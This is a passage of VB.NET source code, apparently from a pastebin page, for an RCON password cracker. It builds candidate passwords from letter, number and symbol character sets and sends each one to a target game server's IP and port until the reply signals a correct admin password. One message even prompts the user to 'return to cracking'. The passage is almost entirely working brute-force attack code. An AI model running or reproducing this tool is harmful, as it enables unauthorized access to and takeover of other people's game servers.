  641.                            'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  642.                            Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  643.                             Console.Write("Checking rcon password: ")
  644.                             Console.Write(New [String](keyChars))
  645.                             Console.WriteLine("")
  646.                             If Not sQuery.Send("echo test") Then
  647.                                 Console.WriteLine("ERROR: Bad IP/HostName/Port")
  648.                                 Environment.[Exit](2)
  649.                             End If
  650.                             Dim count As Integer = sQuery.Recieve()
  651.                             If count = 17 Then
  652.                                 If Not isMatched Then
  653.                                     isMatched = True
  654.                                     result = New [String](keyChars)
  655.                                     Console.WriteLine("*** Success! received package: 17! ***")
  656.                                     Console.WriteLine("")
  657.                                 End If
  658.                                 Return
  659.                             End If
  660.                             If count = 35 Then
  661.                                 Console.WriteLine("Failed, received package: 35")
  662.                             End If
  663.                         End If
  664.                     End If
  665.                     If charset = 5 Then
  666.                         'numbers&letters
  667.                        Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  668.                             "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  669.                             "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  670.                             "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  671.                             "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  672.                             "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  673.                             "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  674.                             "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  675.                             "W"c, "X"c, "Y"c, "Z"c, "1"c, "2"c, _
  676.                             "3"c, "4"c, "5"c, "6"c, "7"c, "8"c, _
  677.                             "9"c, "0"c}
  678.                         keyChars(currentCharPosition) = charactersToTest(i)
  679.                         If currentCharPosition < indexOfLastChar Then
  680.                             createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  681.                                 charset)
  682.                         Else
  683.                             computedKeys += 1
  684.                             'check rcon
  685.                            'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  686.                            Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  687.                             Console.Write("Checking rcon password: ")
  688.                             Console.Write(New [String](keyChars))
  689.                             Console.WriteLine("")
  690.                             If Not sQuery.Send("echo test") Then
  691.                                 Console.WriteLine("ERROR: Bad IP/HostName/Port")
  692.                                 Environment.[Exit](2)
  693.                             End If
  694.                             Dim count As Integer = sQuery.Recieve()
  695.                             If count = 17 Then
  696.                                 If Not isMatched Then
  697.                                     isMatched = True
  698.                                     result = New [String](keyChars)
  699.                                     Console.WriteLine("*** Success! received package: 17! ***")
  700.                                     Console.WriteLine("")
  701.                                 End If
  702.                                 Return
  703.                             End If
  704.                             If count = 35 Then
  705.                                 Console.WriteLine("Failed, received package: 35")
  706.                             End If
  707.                         End If
  708.                     End If
  709.                     If charset = 6 Then
  710.                         'letters&special
  711.                        Dim charactersToTest As Char() = {"a"c, "b"c, "c"c, "d"c, "e"c, "f"c, _
  712.                             "g"c, "h"c, "i"c, "j"c, "k"c, "l"c, _
  713.                             "m"c, "n"c, "o"c, "p"c, "q"c, "r"c, _
  714.                             "s"c, "t"c, "u"c, "v"c, "w"c, "x"c, _
  715.                             "y"c, "z"c, "A"c, "B"c, "C"c, "D"c, _
  716.                             "E"c, "F"c, "G"c, "H"c, "I"c, "J"c, _
  717.                             "K"c, "L"c, "M"c, "N"c, "O"c, "P"c, _
  718.                             "Q"c, "R"c, "S"c, "T"c, "U"c, "V"c, _
  719.                             "W"c, "X"c, "Y"c, "Z"c, "!"c, "$"c, _
  720.                             "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  721.                             "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  722.                             "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  723.                             ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  724.                             "-"c, "+"c, "="c, "\"c}
  725.                         keyChars(currentCharPosition) = charactersToTest(i)
  726.                         If currentCharPosition < indexOfLastChar Then
  727.                             createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  728.                                 charset)
  729.                         Else
  730.                             computedKeys += 1
  731.                             'check rcon
  732.                            'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  733.                            Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  734.                             Console.Write("Checking rcon password: ")
  735.                             Console.Write(New [String](keyChars))
  736.                             Console.WriteLine("")
  737.                             If Not sQuery.Send("echo test") Then
  738.                                 Console.WriteLine("ERROR: Bad IP/HostName/Port. Check your internet connection, and press any key to return to cracking...")
  739.                                 'Environment.Exit(2);
  740.                                Console.ReadLine()
  741.                             End If
  742.                             Dim count As Integer = sQuery.Recieve()
  743.                             If count = 17 Then
  744.                                 If Not isMatched Then
  745.                                     isMatched = True
  746.                                     result = New [String](keyChars)
  747.                                     Console.WriteLine("*** Success! received package: 17! ***")
  748.                                     Console.WriteLine("")
  749.                                 End If
  750.                                 Return
  751.                             End If
  752.                             If count = 35 Then
  753.                                 Console.WriteLine("Failed, received package: 35")
  754.                             End If
  755.                         End If
  756.                     End If
  757.                     If charset = 7 Then
  758.                         'numbers&special
  759.                        Dim charactersToTest As Char() = {"1"c, "2"c, "3"c, "4"c, "5"c, "6"c, _
  760.                             "7"c, "8"c, "9"c, "0"c, "!"c, "$"c, _
  761.                             "#"c, "@"c, "-"c, "*"c, "&"c, "^"c, _
  762.                             "%"c, "~"c, "`"c, "["c, "]"c, "|"c, _
  763.                             "/"c, """"c, ":"c, ";"c, ":"c, "?"c, _
  764.                             ">"c, ","c, "."c, "("c, ")"c, "_"c, _
  765.                             "-"c, "+"c, "="c, "\"c}
  766.                         keyChars(currentCharPosition) = charactersToTest(i)
  767.                         If currentCharPosition < indexOfLastChar Then
  768.                             createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar, ip, port, _
  769.                                 charset)
  770.                         Else
  771.                             computedKeys += 1
  772.                             'check rcon
  773.                            'Query.RCONQuery sQuery = new Query.RCONQuery("127.0.0.1", 7777, (new String(keyChars)));
  774.                            Dim sQuery As New Query.RCONQuery(ip, port, (New [String](keyChars)))
  775.                             Console.Write("Checking rcon password: ")
  776.                             Console.Write(New [String](keyChars))
  777.                             Console.WriteLine("")
  778.                             If Not sQuery.Send("echo test") Then
  779.                                 Console.WriteLine("ERROR: Bad IP/HostName/Port")
  780.                                 Environment.[Exit](2)
  781.                             End If
  782.                             Dim count As Integer = sQuery.Recieve()
  783.                             If count = 17 Then
  784.                                 If Not isMatched Then
  785.                                     isMatched = True
  786.                                     result = New [String](keyChars)
  787.                                     Console.WriteLine("*** Success! received package: 17! ***")
  788.                                     Console.WriteLine("")
  789.                                 End If
  790.                                 Return
  791.                             End If
  792.                             If count = 35 Then
  793.                                 Console.WriteLine("Failed, received package: 35")
  794.                             End If
  795.                         End If
  796.                     End If
  797.                 Next
  798.             End If
  799.         End Sub
  800.  
  801. #End Region
  802.     End Class
  803. End Namespace
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement